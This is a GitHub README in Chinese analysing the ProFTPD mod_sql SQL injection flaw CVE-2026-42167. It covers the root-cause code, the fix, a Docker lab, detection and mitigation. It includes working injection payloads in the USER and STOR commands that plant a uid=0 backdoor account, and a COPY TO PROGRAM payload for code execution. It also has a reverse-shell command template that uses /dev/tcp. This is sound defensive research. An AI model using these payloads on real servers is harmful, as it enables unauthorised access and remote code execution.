dinosn/proftpd-CVE-2026-42167-analysis
GitHub: dinosn/proftpd-CVE-2026-42167-analysis
针对 ProFTPD mod_sql CVE-2026-42167 漏洞的独立复现与代码级根因分析,覆盖从预认证 SQL 注入到身份绕过及 RCE 的完整利用链。
Stars: 2 | Forks: 0
# CVE-2026-42167 — ProFTPD `mod_sql` SQL 注入 / 身份验证绕过 / RCE
针对 **CVE-2026-42167** 的独立复现、代码级根因分析以及深入
剖析报告 — 这是 ProFTPD 的 `mod_sql` 日志管道中 `is_escaped_text()` 绕过漏洞,
由 ZeroPath Research 披露,并在 ProFTPD 1.3.9a / 1.3.10rc1 中被修复。
于 2026-04-29 在 macOS / Apple Silicon 平台的 Docker 环境中端到端构建并验证。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL 注入), CWE-78 (OS 命令注入 — 通过 PG 的 `COPY TO PROGRAM`) |
| 受影响版本 | 带有 `mod_sql` + `SQLLog`/`SQLNamedQuery` 的 ProFTPD ≤ 1.3.9,且其格式字符串在单引号内插入了攻击者可控的变量 |
| 修复版本 | 1.3.9a (`af90843ba…`) / 1.3.10rc1,参见 commit `e6f728481` ("Issue #2052") |
| 锁定的易受攻击 commit | `ae25959adb05ae1d6ebfa1f36bf778c9c34e9410` |
| 易受攻击文件 | `contrib/mod_sql.c` 第 741–758 行 (`is_escaped_text`) 及第 777 行 (`sql_resolved_append_text`) |
| 原始披露 | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| 公开 PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| 发行说明 | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
## 1. 根本原因 — `contrib/mod_sql.c` 中的 `is_escaped_text()` 启发式逻辑
`mod_sql` 会解析日志格式变量(`%U`、`%{basename}` 等),并通过
`sql_resolved_append_text()` 将每个部分追加到渲染的 SQL 中。
为了与已经在变量外层包裹 `'…'` 的管理员配置保持向后兼容性,该函数会调用
`is_escaped_text()` 来决定是否需要 `sql_escapestring`:
```
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char *text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != '\'') return FALSE;
745 if (text[text_len-1] != '\'') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == '\'') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… /* …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
```
该检查纯粹是基于结构上的 — 它无法区分“已被可信代码转义过”和“由攻击者伪造的看似已转义的内容”。
任何匹配 `'<内部无单引号>'` 的客户端提供值都会跳过
`sql_escapestring`,并被原样拼接到最终的查询语句中。
标准的文档配置会将 `%U` / `%{basename}` / `%m` 包裹在单引号中:
```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
```
当攻击者发送 `USER ''`(带有首尾引号,内部无引号)时,解析器在替换
`%U` 时会*不经转义*,从而在 SQL 语句中生成 `''''` — 空字符串字面量闭合了
外层的引号,使得 `` 作为原始 SQL 被执行。在 PostgreSQL
(`PQexec`) 和 SQLite (`sqlite3_exec`) 中支持堆叠查询,因此
`` 可以是任意语句序列。
因为 `SQLLog ERR_*` 在登录**失败**时触发,并且 `%U` 是在身份验证*之前*通过
`USER` 命令设置的,所以该攻击完全无需身份验证即可实现。
### 修复方案 (commit `e6f728481`, "Issue #2052")
`sql_resolved_append_text()` 增加了一个 `already_escaped` 参数。解析
客户端输入值的调用者会传入 `FALSE`,现在会无条件地通过
`sql_escapestring` 进行处理 — 尽管合法的“配置中包含预转义值”的路径
仍然会应用 `is_escaped_text()` 启发式逻辑,但它不再应用于攻击者可控的数据。
## 2. 实验环境
```
+--------------------+ FTP 21 +-----------------------+
| attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server |
| python3 PoCs | | ProFTPD 1.3.9-pre |
+--------------------+ | mod_sql_postgres |
+-----------+-----------+
| libpq
v
+-----------------------+
| proftpd-poc-postgres |
| PostgreSQL 15 |
| role 'proftpd' = SU |
+-----------------------+
```
- 两个容器均通过 `setup/docker-compose.yml` 启动。
- `setup/proftpd.conf` 启用了易受攻击的日志配置(见 §1)。
- `setup/seed.sql` 创建了 `users`、`groups`、`activity_log`、`xfer_log`
以及 `secrets` 表,并创建了一个合法的 FTP 用户 `ftpuser / ftppass`。
## 3. 复现 — 复制/粘贴
前提条件:Docker Desktop,Python 3.10+,git。(`uv` 是可选的;
PoC 仅使用了标准库。)
```
# 克隆此 repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 在 Docker 中构建存在漏洞的 proftpd + postgres
cd setup && ./setup.sh && cd ..
# - 克隆固定在 ae25959a(存在漏洞)的 proftpd 源码
# - 使用 --with-modules=mod_sql:mod_sql_postgres 构建
# - 启动两个容器,等待 healthchecks
# 复现 — pre-auth 后门用户(uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 检查植入的账号
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 复现 — post-auth STOR 后门
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 复现 — pre-auth RCE 证明(非交互式,marker-file 变体)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 拆除
cd setup && ./teardown.sh
```
上游仓库中的两个交互式变体
(`preauth_user_rce.py`、`postauth_stor_rce.py`)未经修改,
并能弹出一个基于 PTY 的反弹 shell。它们使用了与 marker 变体
相同的利用原语 — 只需将 shell 命令替换为 `bash -i >&
/dev/tcp// 0>&1` 并提前在 `` 上监听即可。
## 4. 载荷,逐字节解析
### 预认证后门 (`USER` 命令, `%U`)
```
USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x
```
生效原因:
1. **外层有引号 + 内部无引号** 匹配了 `is_escaped_text()` → 跳过转义。
2. 配置的 `SQLNamedQuery` 为 `INSERT "'%U', '%r', '%m'" activity_log`,
因此渲染出的 SQL 变为 `INSERT INTO activity_log VALUES('', '<%r>', '<%m>')` — 但是
`` 本身以 `'` 开头,因此实际的查询语句为 `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`。
3. `--` 注释掉了尾部的格式插槽。
4. `$$…$$` PostgreSQL 的美元符号引用机制允许我们传递字符串(`backdoor`、`pwned123`、`/`、`/bin/bash`)而完全无需使用 `'` — 从而保持了 `is_escaped_text()` 绕过的成立。
5. `SQLLog ERR_*` 在失败的登录时触发 → `PQexec()` 执行堆叠的 `INSERT INTO users` → 后门账户成功写入认证表中。
### 认证后后门 (`STOR` 文件名, `%{basename}`)
```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
```
相同的绕过原理,不同的触发点。使用 `chr(47)` = `'/'` 是因为 FTP 会将文件名中的 `/` 解释为目录分隔符,因此攻击者无法在文件名中放置字面上的 `/` — `chr()` 允许后门账户获得 `homedir = '/'` 而无需通过网络发送该字符。
### 预认证 RCE (`USER` + `COPY TO PROGRAM`)
```
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --'
PASS x
```
其中 `` 可以是任何命令。PostgreSQL 会在**数据库**宿主机上以 `postgres` OS 用户的身份通过 `/bin/sh` 执行它。这要求 `mod_sql` 使用的数据库角色是超级用户(或者是
`pg_execute_server_program` 的成员) — 这在单租户部署中很常见,并且是使用官方 `postgres` Docker 镜像并通过 `POSTGRES_USER` 创建角色时的默认情况。
## 5. 复现期间捕获的证据
| 文件 | 展示内容 |
|---|---|
| `logs/01_preauth_backdoor.log` | 预认证 PoC 输出,以 `backdoor` 身份成功登录 (`230`) |
| `logs/02_db_users_after.log` | `users` 表现在包含 `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | 通过 STOR `%{basename}` 触发的认证后 PoC 输出 |
| `logs/05_preauth_rce_marker.log` | 通过 FTP 发送的 Marker 载荷 |
| `logs/06_users_final.log` | 最终的 `users` 表状态 |
| `logs/07_proftpd_trace.log` | ProFTPD 自身的 trace 日志为每个注入的载荷打印了 `text '…' is already escaped, skipping escaping it again` — 这是 `is_escaped_text()` 对攻击者输入返回 TRUE 的直接证据 |
| `logs/08_rce_proof.log` | 在 postgres 容器上*由 postgres 用户*写入的 `/tmp/cve-2026-42167-rce.txt` |
| `screenshots/*.png` | 每个捕获的终端会话的 PNG 渲染图 |
trace 日志中的这一行是铁证:
```
2026-04-29 06:35:11,297 [548] : text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
```
该消息仅在 `is_escaped_text()` 返回 TRUE 时于 `contrib/mod_sql.c:791` 处被发出 — 即确切的绕过点。
## 6. 检测 / 缓解
**检测(对已部署服务器进行取证):**
- 在启用 `Trace sql:17` 的情况下,执行 `grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log`,这会标记出所有触发了该绕过逻辑的注入尝试。
- 审计 `activity_log` 表(或 `SQLNamedQuery INSERT` 写入的任何表):如果行中的用户名列以游离的引号开头,包含 `null, null);`,或包含 `INSERT`/`COPY TO PROGRAM`/`UPDATE`,这些都是攻击证据。
- 审计 `users` 表中 `uid=0`、`homedir='/'` 的账户,或者在策略要求使用 `/sbin/nologin` 的情况下 shell 却被设置为真实 shell 的账户。
**缓解措施:**
- 升级 ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit `e6f728481`)。
- *如果暂时无法升级的补偿性控制措施:* 从 `SQLNamedQuery` 格式字符串中移除攻击者可控的变量(在支持参数化的后端中仅将 `'%U'` 替换为更安全的 `%U`,或者对失败的登录使用基于明文文件的日志记录)。
- *纵深防御:* 确保 `mod_sql` 的 PostgreSQL 角色**不是**超级用户 — 仅此一项就可以阻断 `COPY TO PROGRAM` 的 RCE 路径(尽管通过堆叠 `INSERT INTO users` 进行的身份验证绕过仍然有效,但其爆炸半径被限制在 proftpd 数据库中)。
## 7. 本仓库的文件结构图
```
.
├── README.md # this file
├── poc/ # ZeroPath PoC, cloned
│ ├── README.md
│ ├── pocs/
│ │ ├── preauth_user_backdoor.py
│ │ ├── preauth_user_rce.py
│ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof
│ │ ├── postauth_stor_backdoor.py
│ │ └── postauth_stor_rce.py
│ └── setup/
│ ├── docker-compose.yml
│ ├── Dockerfile.proftpd
│ ├── proftpd.conf
│ ├── seed.sql
│ ├── setup.sh
│ └── teardown.sh
├── logs/ # raw terminal output captured during reproduction
└── screenshots/ # PNG renders of each log
├── 00_overview.png
├── 01_preauth_backdoor.png
├── 02_db_users_after.png
├── 03_postauth_stor_backdoor.png
├── 04_preauth_rce_marker.png
├── 05_rce_proof.png
├── 06_proftpd_trace.png
└── 07_users_final.png
```
## 8. 这是真实的威胁 — 还是生造的边缘情况?
诚实的回答是:**其影响范围比“发送一个数据包就能控制服务器”的蠕虫病毒要窄,但易受攻击的模式存在于 ProFTPD 自己的官方文档中,因此它并非凭空捏造。**三个独立的维度决定了一个特定的部署是否会中招,而每一个维度都会进一步缩小受影响的群体范围。
### 8.1 是否甚至加载了 `mod_sql`?
`mod_sql` 是按需启用的。它**不**在默认的 ProFTPD 构建中,也不在 Debian 的 `proftpd-basic` 等发行版包的默认配置中。只有在以下情况下你才会有它:
- 使用 `--with-modules=mod_sql:mod_sql_` 进行了编译,或者
- 安装了特定后端的软件包:Debian 的 `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`,RHEL 的 `proftpd-postgresql` / `proftpd-mysql`。
人们安装这些软件包有明确的原因:基于 SQL 的**身份验证**(数据库中的用户而非 `/etc/passwd`)或用于审计的基于 SQL 的**活动日志记录**。这两者在共享主机、托管型 FTP 和企业 FTP 投递部署中都很常见。因此 `mod_sql` 在安装基数中占据了真实的比例 — 只是并非“每一台服务器”。
### 8.2 易受攻击的 `SQLNamedQuery` 模式真的有人用吗?
这是该漏洞最具现实意义的地方。触发该 bug 的模式*正是官方文档中记录的模式*。以下示例直接取自锁定易受攻击 commit 时的上游代码树:
```
# doc/contrib/mod_sql.html ── 经典范例
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
```
每一个示例都将攻击者可控的变量(`%u`、`%r`)包裹在单引号中 — 这正是 `is_escaped_text()` 会错误分类的结构形式。从上游文档复制粘贴的管理员**将直接继承这种易受攻击的模式。**
这就是我们需要认真对待此事的头号原因。
### 8.3 预认证 vs 认证后
完全无需身份验证的路径(`USER` + `%U` + `SQLLog ERR_*`)是**最狭窄**的情况。它满足以下全部三个条件:
- 一个在单引号内插值 `%U`(原始用户名,即使在登录失败时也会被设置)的 `SQLNamedQuery` — 在实际配置中不如 `%u` 常见,因为大多数管理员希望获取*成功*登录的用户名以供审计,因此会使用 `%u`。
- 一个在身份验证之前触发的 `SQLLog` 指令。`SQLLog ERR_*` 是用于此目的的典型通配符。而 `SQLLog PASS …` 和 `SQLLog STOR …`(最常见的形式)则**不会**在认证前触发。
- 一个支持堆叠查询的后端(PostgreSQL 或 SQLite — 见 §8.4)。
如果配置使用的是 `%u` 而非 `%U`,相同的 bug 依然会导致身份验证绕过 — 但只能是**认证后**,也就是说,攻击者首先需要获取*任何*可用的凭据,然后才能植入一个 uid=0 的后门。在大多数实际配置中,这才是最现实的安全隐患:**低权限 FTP 用户 → 通过一次上传变身为 root 等效的 FTP 用户。**
### 8.4 后端数据库影响巨大
该绕过在每个后端上的触发方式完全相同,但攻击者能*做什么*却大相径庭:
| 后端 | 支持堆叠查询? | 通过 `INSERT INTO users` 绕过认证 | 数据库宿主机上的 RCE |
|---|---|---|---|
| **PostgreSQL** | 是 (`PQexec`) | 有效 | **是**,如果数据库角色是超级用户,可通过 `COPY TO PROGRAM` 实现 |
| **SQLite** | 是 (`sqlite3_exec`) | 有效(且 FTP worker 通常具有 `PRIVS_ROOT` 权限 — 甚至更糟) | 没有直接的等价物,但 `users` 表可写 → root 级 FTP 登录 |
| **MySQL** | **否** — 不带 `CLIENT_MULTI_STATEMENTS` 的 `mysql_real_query` | 无法追加第二条语句;仅能降级为单语句子查询 / 盲注 SQLi 用于数据窃取 | 否 |
PostgreSQL 或 SQLite ⇒ 完整影响。MySQL ⇒ 仅限于数据泄漏 / 基于时间的盲注。MySQL 是迄今为止共享主机中最常见的后端(cPanel、Plesk、ISPConfig 均默认使用它);PostgreSQL 在定制企业构建中更为常见。这两部分用户群体都不容小觑。
### 8.5 RCE 有其独立的门槛
成为头条新闻的 `COPY TO PROGRAM` RCE 额外要求 `mod_sql` 的 PostgreSQL 角色是**超级用户**(或者是 `pg_execute_server_program` 的成员)。这意味着:
- 当数据库是使用官方 `postgres` Docker 镜像的 `POSTGRES_USER` 环境变量创建时,这很**常见**(这是大多数 PoC 实验室和许多设备镜像的默认设置,包括本仓库的 `setup/` 目录)。
- 当 ProFTPD 拥有自己专属的数据库实例时(单租户部署、托管型设备镜像),这很**常见**。
- 当由 DBA 主导的配置创建角色并赋予其最小权限时,这较**不常见**。
如果该角色*不是*超级用户,你仍然可以获得身份验证绕过的原语(这本身就很严重),但在数据库宿主机上的 OS 级 RCE 将不复存在。
## 9. 综合分析 — 谁面临实际风险
```
ProFTPD installs
└── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP
├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's
│ the documented form)
│ ├── PostgreSQL backend
│ │ ├── DB role = superuser → pre-/post-auth RCE on DB host
│ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass)
│ ├── SQLite backend → post-auth root FTP backdoor
│ │ (worker often runs as root → very bad)
│ └── MySQL backend → post-auth blind SQLi / data exfil only
└── ~with attacker-controlled %U + SQLLog ERR_* (uncommon)
→ fully pre-auth versions of the above
```
## 10. 建议
对于所有正在运行 ProFTPD `mod_sql` 的用户:
- 务必**升级**至 ≥ 1.3.9a。这是唯一彻底的修复方案。
- 在打好补丁之前的**补偿性控制措施**:
- 将数据库角色降级为**非超级用户** — 彻底阻断 PostgreSQL 上的 RCE 分支。
- 审计你的 `users` / 认证表中是否出现游离的 `uid=0` 行或最近新增的账户 — 见 §6。
- 启用 `Trace sql:17` 并在 `trace.log` 中 grep `is already escaped, skipping escaping it again` — 这行日志是绕过尝试的直接证据。
- 如果可行,移除 `SQLLog ERR_*` 指令以及任何插值了 `%U`(预认证原语)的 `SQLNamedQuery INSERT` 格式。虽然通过 `%u` / `%{basename}` 的认证后路径依然存在,但你消除了最坏的情况。
## 11. 总结
- 这**不是**一个“默认安装即中招的漏洞” — 你必须正在运行 `mod_sql`。
- 它**确实**是一个“按文档配置即中招的漏洞” — 危险的引号包裹模式是官方的配置方式,被上游的 HOWTO 文档广泛复制粘贴。
- 头条新闻中**完全无需身份验证**的场景是真实的,但需要一个特定的(预认证 `%U` + `SQLLog ERR_*` 通配符)配置组合,这不如认证后的路径常见。
- **认证后权限提升**场景(任何 FTP 用户 → uid=0 FTP 后门)是更为现实的威胁,并且适用于大部分使用了官方日志模式的 `mod_sql` + PostgreSQL/SQLite 部署环境。
- **数据库宿主机上的 OS 级 RCE** 取决于数据库角色是否为超级用户 — 这在单租户 / 设备型设置中很常见,在 DBA 托管的环境中较少见。
## 致谢
- 漏洞发现及最初披露者:
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce)。
- 公开 PoC 仓库:
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)。
- 修复由 TJ Saunders 完成,commit
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
("Issue #2052")。
本仓库为独立复现及分析,仅供防御性研究与教育目的使用。非 0-day 漏洞。仅限于在您获得授权测试的系统上使用。
标签:CISA项目, CVE-2026-42167, CWE-78, CWE-89, Docker, POC, ProFTPD, RCE, Root Cause Analysis, ZeroPath Research, 安全防御评估, 测试用例, 漏洞分析, 漏洞复现, 版权保护, 编程工具, 网络安全, 请求拦截, 路径探测, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护